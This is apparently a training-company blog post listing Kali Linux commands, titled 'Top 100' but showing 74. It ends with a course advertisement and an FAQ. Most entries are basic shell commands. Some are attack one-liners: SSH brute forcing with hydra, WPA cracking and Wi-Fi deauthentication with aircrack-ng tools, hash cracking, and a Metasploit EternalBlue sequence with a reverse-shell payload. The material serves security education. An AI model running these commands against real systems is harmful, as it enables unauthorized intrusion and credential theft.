Introduction: Kali Linux Commands for Ethical Hackers

Do you know how Linux commands work for ethical hackers? If not, then you are at the right place. Here, we will talk about the Top 100 Kali Linux Commands for Ethical Hackers, explained in detail.

In the end, we will introduce you to a reputed training institute offering a dedicated training program related to Linux skills. What are we waiting for? Let’s get straight to the topic!

What is Kali Linux?

Kali Linux is an open-source Linux distribution based on Debian that was created especially for digital forensics and advanced penetration testing. With hundreds of crucial cybersecurity tools pre-installed, including Wireshark, Nmap, and Metasploit, it is the industry standard platform for security experts.

Its main objective is to assist security researchers and ethical hackers in identifying and resolving vulnerabilities in networks and applications. It is maintained by Offensive Security. Let’s take a look at the Top 100 Kali Linux Commands for Ethical Hackers!”

Top 100 Kali Linux Commands for Ethical Hackers

S.No.	Command	Description	Example Output
1.	pwd	Show current directory	/home/kali
2.	ls	List files in the directory	Desktop Downloads Tools
3.	cd	Change directory	Navigates to /etc
4.	mkdir test	Create a new directory	Creates /test
5.	touch file.txt	Create a new empty file	Creates file.txt
6.	rm file.txt	Delete a file	Deletes file.txt
7.	rmdir test	Delete empty directory	Removes /test
8.	cp file1 file2	Copy file1 to file2	Copies content
9.	mv file1 /tmp	Move file to /tmp	File moved
10.	cat file.txt	View file content	Displays file content
11.	whoami	Displays the current user	kali
12.	id	Show user ID	uid=1000(kali)
13.	adduser hacker	Add new user	Creates user "hacker"
14.	passwd hacker	Set password	Prompts for password
15.	deluser hacker	Delete user	Removes "hacker"
16.	sudo su	Switch to root	Terminal switches to #
17.	groups	Show group membership	kali sudo
18.	ifconfig	View network interfaces	Shows eth0, wlan0
19.	ip a	Show IP addresses	IPs of all interfaces
20.	ping 8.8.8.8	Test connectivity	64 bytes from...
21.	traceroute google.com	Trace route to the host	List of hops
22.	netstat -tuln	Show open ports	Lists active ports
23.	ss -tuln	Better alternative to netstat	TCP listening sockets
24.	nmap 192.168.1.1	Port scan target	Open ports listed
25.	wget http://site.com	Download via HTTP	Downloads the HTML file
26.	curl -I http://site.com	Fetch headers	HTTP response headers
27.	dnsenum domain.com	DNS enumeration	Nameservers, records
28.	top	Real-time process list	CPU/memory usage
29.	htop	Enhanced top	Colorful interface
30.	ps aux	List processes	PID, CMD listed
31.	kill PID	Kill process	Terminates by PID
32.	df -h	Disk usage	/dev/sda1 40%
33.	du -sh *	Folder sizes	10M Documents
34.	free -m	RAM usage	Mem: 1024MB
35.	uptime	Show uptime	10:24 up 3:00
36.	who	Logged-in users	kali :0
37.	uname -a	System info	Linux kernel details
38.	chmod +x script.sh	Make the file executable	Now runnable
39.	chown user:group file	Change ownership	Changed file owner
40.	ls -l	List permissions	-rw-r--r--
41.	chmod 755 file	Set permissions	Executes for all
42.	apt update	Refresh package list	Lists updated repos
43.	apt upgrade	Install package updates	Installs available
44.	apt install nmap	Install Nmap	Downloads & installs
45.	apt remove nmap	Remove package	Deletes package
46.	dpkg -l	List installed packages	Alphabetical list
47.	dpkg -i file.deb	Install .deb package	Installs manually
48.	apt-cache search metasploit	Search package	Lists tools
49.	msfconsole	Launch Metasploit	Loads MSF banner
50.	sqlmap -u	Detect SQLi	Shows injection points
51.	burpsuite	GUI web testing tool	Launches interface
52.	airmon-ng	Wireless attack prep	Starts monitor mode
53.	aircrack-ng capture.cap	Crack the WiFi password	Password: 12345678
54.	john --wordlist=rockyou.txt hash.txt	Crack password hash	Found: password
55.	hydra -l admin -P rockyou.txt 192.168.1.10 ssh	Brute force SSH	Login: admin/pass123
56.	wireshark	Launch packet analyzer	Opens GUI
57.	ettercap -G	MITM attack tool	Launches GUI
58.	ncat -lvp 4444	Listen on port	Connection info
59.	dirb http://site.com	Directory brute force	/admin found
60.	gobuster dir -u http://site.com -w /usr/share/wordlists	Directory scan	Found /login
61.	whatweb http://site.com	Identify tech stack	Apache, PHP
62.	nikto -h http://site.com	Web server vulnerabilities	XSS, outdated software
63.	airmon-ng start wlan0	Monitor mode	Enabled wlan0mon
64.	airodump-ng wlan0mon	Capture WiFi packets	BSSID, signal strength
65.	aireplay-ng -0 10 -a wlan0mon	Deauth packets	Kicks clients
66.	aircrack-ng -w rockyou.txt capture.cap	Crack WPA key	Key: qwerty123
67.	nano script.sh	Open file editor	Editing script
68.	bash script.sh	Run the shell script	Executes
69.	python3 script.py	Run Python script	Output from script
70.	chmod +x exploit.py	Make executable	Can run directly
71.	use exploit/windows/smb/ms17_010_eternalblue	Load EternalBlue	Module loaded
72.	set RHOST 192.168.1.10	Set target	RHOST => 192.168.1.10
73.	set PAYLOAD windows/meterpreter/reverse_tcp	Set payload	Payload set
74.	exploit	Launch exploit	Session opened

Why Knowing Kali Linux Commands Is Important?

Knowing Kali Linux Commands is important for the following reasons:

Direct System Interaction and Control: Direct operating system manipulation is made possible by commands, which are essential for low-level security duties like network interface management.
Efficient Tool Utilization: To correctly set up, run, and supply parameters to Kali's hundreds of specialized security tools, such as Nmap and Metasploit, one must be familiar with the command-line interface (CLI).
Fundamental Linux Skill: Gaining proficiency with Kali's commands develops a fundamental ability in the widely used Linux environment, which is necessary for almost all cybersecurity positions.
Speed and Automation: Fast execution, scripting (like Bash), and tool chaining to automate intricate reconnaissance and assault sequences are made possible by CLI commands.
Forensics and Low-Level Analysis: Deep-dive tasks like hash cracking (John), packet sniffing (tcpdump), and raw system-level data analysis require commands.
Remote Access and Minimal Environments: In many real-world testing scenarios, the GUI is unusable because of limited SSH or basic shells, where only command-line tools are accessible.
Customization and Configuration: Installing and updating programs, customizing the environment, and correctly configuring network settings for particular assaults are all accomplished with commands.
Job Requirement and Industry Standard: Knowledge of Kali Linux commands is required for ethical hacking certifications and is frequently evaluated during cybersecurity job interviews.

Penetration Testing Tools

S.No.	Tools	What?
1.	Nmap (Network Mapper)	An open-source tool for security auditing and network discovery. By sending packets and examining the replies, it finds hosts and services on a computer network.
2.	Wireshark	A popular tool for network protocol analysis, sometimes known as a packet sniffer, that enables you to interactively examine the data moving over a computer network. Deep network traffic inspection and analysis require it.
3.	Nikto	An open-source web server scanner that thoroughly examines web servers for a variety of things, such as malicious files or CGI scripts, out-of-date server versions, and other configuration problems.
4.	OpenVAS (Open Vulnerability Assessment System)	A feature-rich vulnerability scanner that conducts a high-level, non-credentialed remote scan to look for different security flaws and configuration errors.
5.	Metasploit Framework	The most widely used open-source exploitation framework worldwide. It offers a framework for creating, evaluating, and running attack code on a distant target computer.
6.	Burp Suite	An all-inclusive framework for testing web apps for security. It comes with tools for identifying and taking advantage of online weaknesses, such as an intruder, scanner, and intercepting proxy.
7.	SQLMap	An open-source penetration testing tool that makes it easier to find and take advantage of SQL injection vulnerabilities to take control of database servers.
8.	John the Ripper (JtR)	A quick password cracker that works with a variety of Unix, macOS, Windows, DOS, and OpenVMS versions. Weak Unix password detection is its main objective.
9.	Hydra	Frequently used for brute-force attacks on systems, this parallelized login cracker supports multiple protocols to attack network services for password guessing.
10.	Aircrack-ng	A whole set of instruments for evaluating the security of Wi-Fi networks. Monitoring, attacking, testing, and breaking wireless keys (WEP, WPA/WPA2) are its main objectives.

Conclusion

Now that we have talked about the Top 100 Kali Linux Commands for Ethical Hackers, you might want to learn the commands professionally. For that, you can get in contact with Craw Security, offering the Best Linux Essentials Course in Delhi to IT Aspirants.

During the training sessions, students will be able to try their skills on various tasks while using Kali Linux commands under the supervision of professionals. Moreover, online sessions will facilitate students in remote learning.

After the completion of the Best Linux Essentials Course in Delhi offered by Craw Security, students will be able to receive a dedicated certificate validating their honed knowledge & skills during the sessions. What are you waiting for? Contact, Now!

Frequently Asked Questions

About Top 100 Kali Linux Commands for Ethical Hackers

What is Kali Linux used for in cybersecurity?

Due to its extensive set of pre-installed tools, Kali Linux is mostly utilized in cybersecurity for penetration testing, ethical hacking, and security audits.

Is Kali Linux suitable for beginners?

Since Kali Linux has a steep learning curve and is intended for seasoned security professionals, it is generally not advised for complete Linux novices.

What are some must-know Kali Linux commands?

The following are some must-know Kali Linux commands:

a) ls (LiSt directory contents),

b) cd (Change Directory),

c) ifconfig (Interface Configuration) or ip a (IP Address),

d) nmap (Network Mapper), and

e) apt update and apt install (Advanced Package Tool).

What is the difference between Kali Linux and Ubuntu?

While Ubuntu is a general-purpose operating system for daily use, development, and servers, Kali Linux is a distribution specifically designed for penetration testing and digital forensics.

How can I update Kali Linux?

To get the most recent package lists and upgrade every package, open your terminal and type sudo apt update && sudo apt full-upgrade -y.

What is the default user in Kali Linux?

The default login and password for a live boot or pre-made image are both kali for Kali Linux versions 2021.0.1 and later.

How do I scan a network using Kali Linux?

Run nmap -T4 -A 192.168.1.0/24 (substitute your target network range for 192.168.1.0/24) for a thorough, quick, and aggressive scan that includes traceroute, OS detection, version detection, and script scanning.

How do I access root in Kali Linux?

To switch to an interactive root shell (where you will be asked for your current user password), type sudo su -.

What is msfconsole used for?

The Metasploit Framework's primary interactive command-line interface, msfconsole, is used to find, set up, and run exploits and auxiliary modules for penetration testing.

How can I crack passwords in Kali Linux?

With a single-line command like john --wordlist=/path/to/wordlist.txt /path/to/hashfile or hashcat -m , you can use a program like John the Ripper or Hashcat to break passwords on Kali Linux.

What is airmon-ng used for?

In order to use programs like Aircrack-ng to capture and inject wireless packets, a Linux script called airmon-ng is used to enable or disable monitor mode (RFMON) on a wireless network device.

How to check open ports on a server in Kali Linux?

To display all TCP and UDP ports that are currently listening on the local server, use sudo ss -tunl. Alternatively, use sudo nmap -sT -p- \target_ip> to execute a complete TCP connect scan for all 65535 ports on the server.

How can I find DNS records using Kali Linux?

To find all available DNS records for a domain in Kali Linux, use: dig example.com ANY +noall +answer

What are common directory navigation commands?

The most often used commands for directory navigation are cd (change directory), ls (list directory contents), and pwd (print working directory).

How do I see my IP address in Kali Linux?

The commands curl ifconfig.me (for public/external IP) and ip a (for private/local IP) can be used to quickly view your IP address in the terminal under Kali Linux.

Top 74 Kali Linux Commands for Ethical Hackers [ Updated 2025]

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